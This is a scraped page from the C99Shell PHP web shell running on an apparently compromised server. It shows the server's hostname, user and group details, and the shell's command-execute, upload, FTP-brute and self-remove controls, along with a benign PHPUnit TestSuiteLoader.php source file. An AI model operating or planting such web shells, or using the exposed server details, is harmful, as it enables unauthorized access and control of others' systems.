!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/vendor/phpunit/phpunit/src/Runner/   drwxrwxr-x
Free 28.9 GB of 117.98 GB (24.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TestSuiteLoader.php (3.15 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace PHPUnit\Runner;

use function 
array_diff;
use function 
array_merge;
use function 
array_values;
use function 
basename;
use function 
class_exists;
use function 
get_declared_classes;
use function 
stripos;
use function 
strlen;
use function 
strpos;
use function 
substr;
use 
PHPUnit\Framework\TestCase;
use 
ReflectionClass;

/**
 * @internal This class is not covered by the backward compatibility promise for PHPUnit
 */
final class TestSuiteLoader
{
    
/**
     * @psalm-var list<class-string>
     */
    
private static array $loadedClasses = [];

    
/**
     * @psalm-var list<class-string>
     */
    
private static array $declaredClasses = [];

    public function 
__construct()
    {
        if (empty(
self::$declaredClasses)) {
            
self::$declaredClasses get_declared_classes();
        }
    }

    
/**
     * @throws Exception
     */
    
public function load(string $suiteClassFile): ReflectionClass
    
{
        
$suiteClassName $this->classNameFromFileName($suiteClassFile);

        if (!
class_exists($suiteClassNamefalse)) {
            include_once 
$suiteClassFile;

            
$loadedClasses array_values(
                
array_diff(
                    
get_declared_classes(),
                    
array_merge(
                        
self::$declaredClasses,
                        
self::$loadedClasses
                    
)
                )
            );

            
self::$loadedClasses array_merge($loadedClassesself::$loadedClasses);

            if (empty(
self::$loadedClasses)) {
                throw new 
ClassCannotBeFoundException($suiteClassName$suiteClassFile);
            }
        }

        if (!
class_exists($suiteClassNamefalse)) {
            
$offset strlen($suiteClassName);

            foreach (
self::$loadedClasses as $loadedClass) {
                if (
stripos(substr($loadedClass$offset 1), '\\' $suiteClassName) === ||
                    
stripos(substr($loadedClass$offset 1), '_' $suiteClassName) === 0) {
                    
$suiteClassName $loadedClass;

                    break;
                }
            }
        }

        if (!
class_exists($suiteClassNamefalse)) {
            throw new 
ClassCannotBeFoundException($suiteClassName$suiteClassFile);
        }

        
$class = new ReflectionClass($suiteClassName);

        if (
$class->isSubclassOf(TestCase::class)) {
            if (
$class->isAbstract()) {
                throw new 
ClassIsAbstractException($suiteClassName$suiteClassFile);
            }

            return 
$class;
        }

        throw new 
ClassCannotBeFoundException($suiteClassName$suiteClassFile);
    }

    private function 
classNameFromFileName(string $suiteClassFile): string
    
{
        
$className basename($suiteClassFile'.php');
        
$dotPos    strpos($className'.');

        if (
$dotPos !== false) {
            
$className substr($className0$dotPos);
        }

        return 
$className;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--